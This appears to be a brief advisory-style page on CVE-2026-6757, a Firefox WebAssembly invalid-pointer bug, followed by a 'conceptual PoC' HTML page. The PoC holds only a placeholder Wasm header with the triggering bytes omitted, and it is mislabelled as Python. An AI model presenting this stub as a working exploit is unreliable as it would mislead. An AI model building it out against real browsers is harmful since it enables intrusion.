Invalid pointer in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
<!-- Conceptual PoC for CVE-2026-6757 -->
<!-- This requires a specific malicious Wasm binary to trigger the invalid pointer -->
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<script>
// Malicious WebAssembly bytecode (placeholder)
// The actual exploit would involve crafting a Wasm section
// that triggers the invalid pointer dereference.
var wasmCode = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
// ... specific bytes to reproduce the bug ...
]);
WebAssembly.instantiate(wasmCode).then(result => {
console.log("Wasm instantiated, attempting to trigger bug...");
// Call the exported function that causes the crash
result.instance.exports.main();
}).catch(e => {
console.error("Error:", e);
});
</script>
</body>
</html>